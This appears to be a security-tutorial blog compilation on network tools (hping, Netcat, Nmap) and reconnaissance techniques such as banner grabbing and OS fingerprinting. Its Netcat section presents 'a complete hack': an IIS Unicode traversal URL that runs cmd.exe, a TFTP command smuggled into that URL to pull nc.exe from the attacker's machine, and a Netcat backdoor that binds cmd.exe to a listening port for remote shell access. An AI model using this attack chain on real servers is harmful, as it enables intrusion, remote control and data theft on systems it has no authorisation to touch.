HPing

hping is a command-line oriented TCP/IP packet assembler/analyzer. hping sends ICMP echo requests & also supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

Hping is one of the de facto tools for security auditing and testing of firewalls and networks. While hping was mainly used as a security tool in the past, it can be used in many ways by people that don't care about security to test networks and hosts. A subset of the stuff you can do using hping:

• Firewall testing
• Advanced port scanning
• Network testing, using different protocols, TOS, fragmentation
• Manual path MTU discovery
• Advanced traceroute, under all the supported protocols
• Remote OS fingerprinting
• Remote uptime guessing
• TCP/IP stacks auditing

Hping works on the following unix-like systems: Linux, FreeBSD, NetBSD, OpenBSD, Solaris, MacOs X, Windows.

Download HPing at Download Mall

FIG . HPING2 . Click to enlarge

Using NetCat

In this post, I'll demonstrate a tutorial complete hack, using free : NetCat only, just to point out how versatile it is.

type "nc /?" (without quotes) to explore various options/switches related to NetCat.

Port scanning with Netcat

A scanning example from Hobbit is "nc -v -w 2 -z target 20-30". Netcat will try connecting to every port from 20 to 30 at the target.
-z prevents sending any data to a TCP connection and very limited probe data to a UDP connection, and is thus useful as a fast scanning mode just to see what ports the target is listening on.

We scanned 192.168.1.1, ports 1-200. We can see that among others, port 80, 21 and 25 are open.


Banner Grabbing with Netcat
We're now interested in knowing what's running behind port 80 and 21. We can use Netcat to grab port banners in the following way:

Let's try to send a malformed URL which attempts to exploit the Unicode File Traversal vulnerability in unpatched IIS servers (Pre SP3). Basically this exploit allows us to "break out" of C:\inetpub\wwwroot and explore and execute programs anywhere on the attacked machine.



Voila! We've sent the URL:
http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:%5C to the vulnerable IIS server and what we see is a directory listing of the IIS server C drive. Great! Now we want to upload Netcat to the IIS server, so we'll use TFTP and integrate the TFTP commands into the malformed URL



tftp –I 192.168.1.9 GET nc.exe
Is transformed to:
http://<Exploit URL>/c+TFTP+-i+192.168.1.9+GET+nc.exe
Also take a note of your TFTP server, to see if it has successfully uploaded the nc.exe file:





Netcat as a BackDoor
In order to act as a backdoor we need Netcat to listen on a chosen port on the IIS server (lets choose port 10001) and then we can connect to this port from our attacking machine…using Netcat of course!

The command we want to give on the server looks like this:
nc -L -p 10001 -d -e cmd.exe

Here's what that command does:
nc - tells Windows to run the nc.exe file with the following arguments:
-L Tells netcat to not close and wait for connections
-p Specifies a port to listen for a connection on
-d Tells Netcat to detach from the process we want it to run.
-e Tells what program to run once the port is connected to (cmd.exe)

If we now want to convert this command for Unicode URL use, it will look like this:
http://<Exploit URL>/c+nc+-L+-p+10001+-d+-e+cmd.exe
Now we will execute Netcat on the remote IIS machine:



This should have started Netcat listening on port 10001 on the IIS machine and should connect the cmd.exe process to the connection stream. From our machine we will try to connect to the Netcat on the IIS server.


Tada! We have now "Shoveled a Shell" using Netcat. We effectively have a remote command prompt of the IIS server, as can be seen from the IPConfig.



Transferring files using Netcat
We can use Netcat to transfer files from one system to another. To receive a file named hack.txt on the destination system start Netcat on the IIS server with the following command:
nc –l –p 1234 >hack.txt



On our source system (the attacking computer) we send a file named hack.txt to the IIS machine with the following command:
nc destination 1234 <hack.txt



Issue a ^C on the source system and your done. Be sure to check the file to be sure it is the same size as the original. This is what hack.txt looks like



and voila



We can see that the file hack.txt has been transferred to the target system, via port 1234.

NMap

Nmap features include:

• Host Discovery - Identifying computers on a network, for example listing the computers which respond to pings, or which have a particular port open
• Port Scanning - Enumerating the open ports on one or more target computers
• Version Detection - Interrogating listening network services listening on remote computers to determine the application name and version number
• OS Detection - Remotely determining the operating system and some hardware characteristics of network devices.

DOWNLOAD SITE : http://nmap.org/download.html , insecure.org

Initial Sequence Number (ISN) Sampling

Learn about TCP/IP sequence numbers before reading this post.

TCP Initial Sequence Number (ISN) Sampling

• Different OS choose different ISN while initiating a connection request to send a data packet.
• Attackers find patterns in the initial sequence numbers chosen by TCP implementations when responding to a connection request.
  
• Many old UNIX boxes use the traditional 64K ISN, while newer versions of Solaris, IRIX, FreeBSD, Digital UNIX, Cray, and many others use Random increments, Linux 2.0, OpenVMS, use truely "random" ISNs.
  
• Windows boxes (and a few others) use a "time dependent" model where the ISN is incremented by a small fixed amount each time period.
• NMap provides the capability to use this technique for OS identification.

Banner Grabbing

All open ports have a service or a daemon running on them. As soon as you telnet or connect to such open ports, you are greeted by a welcome message, which is actually known as the daemon banner. A daemon banner contains certain information about the daemon running on that particular port, other system information and sometimes also the message of the day.

If an attacker connects to various ports of the target system, then he will find that each port has a daemon banner waiting, which can reveal juicy pieces of information regarding the target host, including the operating system name, daemon name and version, time and date, etc.

Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports.

An intruder can use banner grabbing in order to find network hosts that are running versions of applications and operating systems with known exploits.

Tools commonly used to perform banner grabbing are Telnet, which is included with most operating systems, and Netcat.

For example one could establish a connection to a target host running a web service with netcat, then send a bad html request in order to get information about the service on the host:

  [root@prober] nc www.targethost.com 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 11 May 2009 22:10:40 EST
Server: Apache/2.0.46 (Unix) (Red Hat/Linux)
Last-Modified: Thu, 16 Apr 2009 11:20:14 PST
ETag: "1986-69b-123a4bc6"
Accept-Ranges: bytes
Content-Length: 1110
Connection: close
Content-Type: text/html

The administrator can now catalog this system or an intruder now knows what version of Apache to look for exploits for.

OPERATING SYSTEM (OS) DETECTION

Operating System detection is a technique to determine the Operating System running on the target PC, then exploit vulnerabilities associated with that Operating System.

• Each company has its own way of implementing the TCP/IP stack, so it responds to certain scans in its unique way, which determines the OS.
• An exact query sent to one OS will respond differently from the exact same query sent to different OS, usually allows us to enumerate information about the Operating System.
• Some OSes run particular services on certain ports, so OS can be determined if these ports are open. Example : If ports 137, 138, 139, 445 are open on a system, it is Windows 2000

You have an idea how OS Detection works. Lets study OS DETECTION STRATEGIES in detail.

TOOLS : NMap, CHECKOS

NETWORK ENUMERATION

Enumeration helps identify a user account or system account for potential use in hacking the target system.

• It isn’t necessary to find a system administrator account, because most account privileges can be escalated to allow the account more access than was previously granted.
• Enumeration involves active connections to systems and directed queries.
• The type of information enumerated by intruders:
  * Network resources and shares
  * Users and groups
  * Applications and banners